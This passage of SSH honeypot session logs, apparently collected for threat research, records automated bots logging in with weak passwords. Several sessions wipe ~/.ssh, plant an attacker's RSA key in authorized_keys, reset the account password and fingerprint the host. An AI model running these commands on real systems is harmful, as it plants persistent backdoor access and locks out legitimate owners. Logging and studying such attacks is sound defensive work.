-l"},{"seq":15,"at":"2026-08-27T12:29:28.802270+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:29.082143+00:00","kind":"output","latency_ms":null,"data":" 12:29:29 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:29.347874+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:30.508210+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:30.772964+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:31.402895+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:31.668077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:32.383078+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:32 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:32.648180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:33.053564+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:33.319135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:34.019214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:34.283485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:34.536588+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:29:34.801865+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:36.660255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:36.926442+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:37.800149+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345abc","method":"password","accepted":true,"tier":"other"}]} {"id":"dcfb3d69-cc4c-4120-9d60-c07c2fa180eb","name":"dappled-balmy-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59660,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:26.042174+00:00","ended_at":"2026-08-27T12:29:27.519024+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:29:04.846500+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:05.294528+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:09.556096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:10.019279+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:10.467616+00:00","kind":"input","latency_ms":null,"data":"echo -e \"88888888\\nB6YRShX5Yskh\\nB6YRShX5Yskh\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:10.914201+00:00","kind":"input","latency_ms":null,"data":"echo \"88888888\\nB6YRShX5Yskh\\nB6YRShX5Yskh\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:11.359341+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:11.766842+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:12.216248+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:13.646102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:14.096348+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:15.206960+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:15.657122+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:16.482816+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:16.929881+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:17.555128+00:00","kind":"output","latency_ms":null,"data":" 12:29:17 up 7 days, 9:19, 0 user, load average: 0.08, 0.09, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:18.005373+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:18.720338+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:19.167707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:19.776441+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:20.228561+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:21.091854+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:21 up 7 days, 9:19, 0 user, load average: 0.08, 0.09, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:21.539770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:21.914331+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:22.361050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:22.941303+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:23.389746+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:24.262932+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-27T12:29:24.709909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:25.594418+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:26.042648+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:27.380692+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"88888888","method":"password","accepted":true,"tier":"other"}]} {"id":"6f5b8ece-b33e-4d78-b9da-05147aaf9f4f","name":"plush-smooth-osprey","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53236,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:21.716141+00:00","ended_at":"2026-08-27T12:29:22.325099+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dd6bfb18-9673-4919-8fb6-a713144fa732","name":"scarlet-noble-opossum","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53224,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:19.654254+00:00","ended_at":"2026-08-27T12:29:21.183880+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"14aa3042-67a4-4881-b2b1-8310bb7ba4d7","name":"airy-humble-boar","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":38420,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:15.453202+00:00","ended_at":"2026-08-27T12:29:16.861202+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2f2acf93-459d-4ad4-b3b2-a666f3f3f304","name":"dappled-wry-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":35920,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":296,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:15.331459+00:00","ended_at":"2026-08-27T12:29:17.343007+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:28:58.039232+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:28:58.336043+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:01.135879+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:01.669831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:01.966031+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test12345\\nyGethd9wIrEq\\nyGethd9wIrEq\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:02.262421+00:00","kind":"input","latency_ms":null,"data":"echo \"test12345\\nyGethd9wIrEq\\nyGethd9wIrEq\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:02.556338+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:03.374412+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:03.670106+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:04.543328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:04.845248+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:05.703153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:05.998554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:06.609274+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:06.904405+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:07.767133+00:00","kind":"output","latency_ms":null,"data":" 12:29:07 up 7 days, 9:19, 0 user, load average: 0.25, 0.28, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:08.062711+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:08.914164+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:09.216274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:09.577046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:09.873321+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:10.720502+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:10 up 7 days, 9:19, 0 user, load average: 0.25, 0.28, 0.17\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:11.017282+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:11.737100+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:12.033854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:12.877150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:13.172829+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:13.676275+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T12:29:13.972271+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:15.038173+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:15.332537+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:17.254875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"test12345","method":"password","accepted":true,"tier":"other"}]} {"id":"6280a327-465c-4df1-b5d5-b9675d7c5f1c","name":"earnest-wistful-adder","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":38414,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:13.457418+00:00","ended_at":"2026-08-27T12:29:14.802822+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a10d1225-3c08-4425-abc5-796a877cd38c","name":"dutiful-ancient-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59680,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:08.314116+00:00","ended_at":"2026-08-27T12:29:09.417444+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7bc4e181-152e-498b-ba33-53785e7ccfbc","name":"snowy-wandering-addax","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59674,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:06.321759+00:00","ended_at":"2026-08-27T12:29:07.433348+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"195e9eb7-d36c-4b2a-96d4-beda6f9cbb6c","name":"ivory-pewter-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":42630,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1024,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:02.832543+00:00","ended_at":"2026-08-27T12:29:04.521724+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2256,"events":[{"seq":1,"at":"2026-08-27T12:28:26.983111+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:28:27.819632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:28:36.909586+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:28:37.195002+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:28:38.373692+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user1123\\n5VPCiG3ACjJb\\n5VPCiG3ACjJb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:28:39.478756+00:00","kind":"input","latency_ms":null,"data":"echo \"user1123\\n5VPCiG3ACjJb\\n5VPCiG3ACjJb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:28:40.387195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T12:28:41.524693+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T12:28:42.394568+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T12:28:43.234939+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:28:44.339737+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:28:45.182263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T12:28:46.429516+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T12:28:48.397688+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T12:28:49.140369+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T12:28:50.525038+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T12:28:50.883186+00:00","kind":"output","latency_ms":null,"data":" 12:28:50 up 7 days, 9:18, 0 user, load average: 0.19, 0.25, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T12:28:51.985895+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T12:28:52.367202+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T12:28:53.474729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T12:28:53.743647+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T12:28:54.589912+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T12:28:55.017368+00:00","kind":"output","latency_ms":null,"data":"top - 12:28:55 up 7 days, 9:19, 0 user, load average: 0.19, 0.25, 0.17\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T12:28:55.856771+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T12:28:56.401741+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T12:28:57.297540+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T12:28:57.921119+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T12:28:58.762656+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T12:28:59.565612+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":30,"at":"2026-08-27T12:29:00.590095+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:29:02.001139+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:29:02.833351+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:29:04.254223+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user1123","method":"password","accepted":true,"tier":"other"}]} {"id":"b386ba73-81c9-43ef-843b-c14566f34d7f","name":"thorny-muted-armadillo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":35938,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:00.192414+00:00","ended_at":"2026-08-27T12:29:01.049726+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"60c10fb3-b5b8-4ad8-9fcb-1d5001ff4404","name":"gnarled-jaunty-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":35932,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:28:59.002169+00:00","ended_at":"2026-08-27T12:28:59.614047+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"46da42dc-cd25-498c-a6bc-d5e0ba5f458d","name":"prickly-velvet-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":50174,"username":"node","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":208,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:28:44.489796+00:00","ended_at":"2026-08-27T12:28:44.595534+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:28:42.697170+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:28:43.240739+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:28:43.449361+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:28:43.450372+00:00","kind":"output","latency_ms":null,"data":" 12:28:43 up 7 days, 9:18, 0 user, load average: 0.33, 0.24, 0.27"},{"seq":5,"at":"2026-08-27T12:28:43.658480+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' 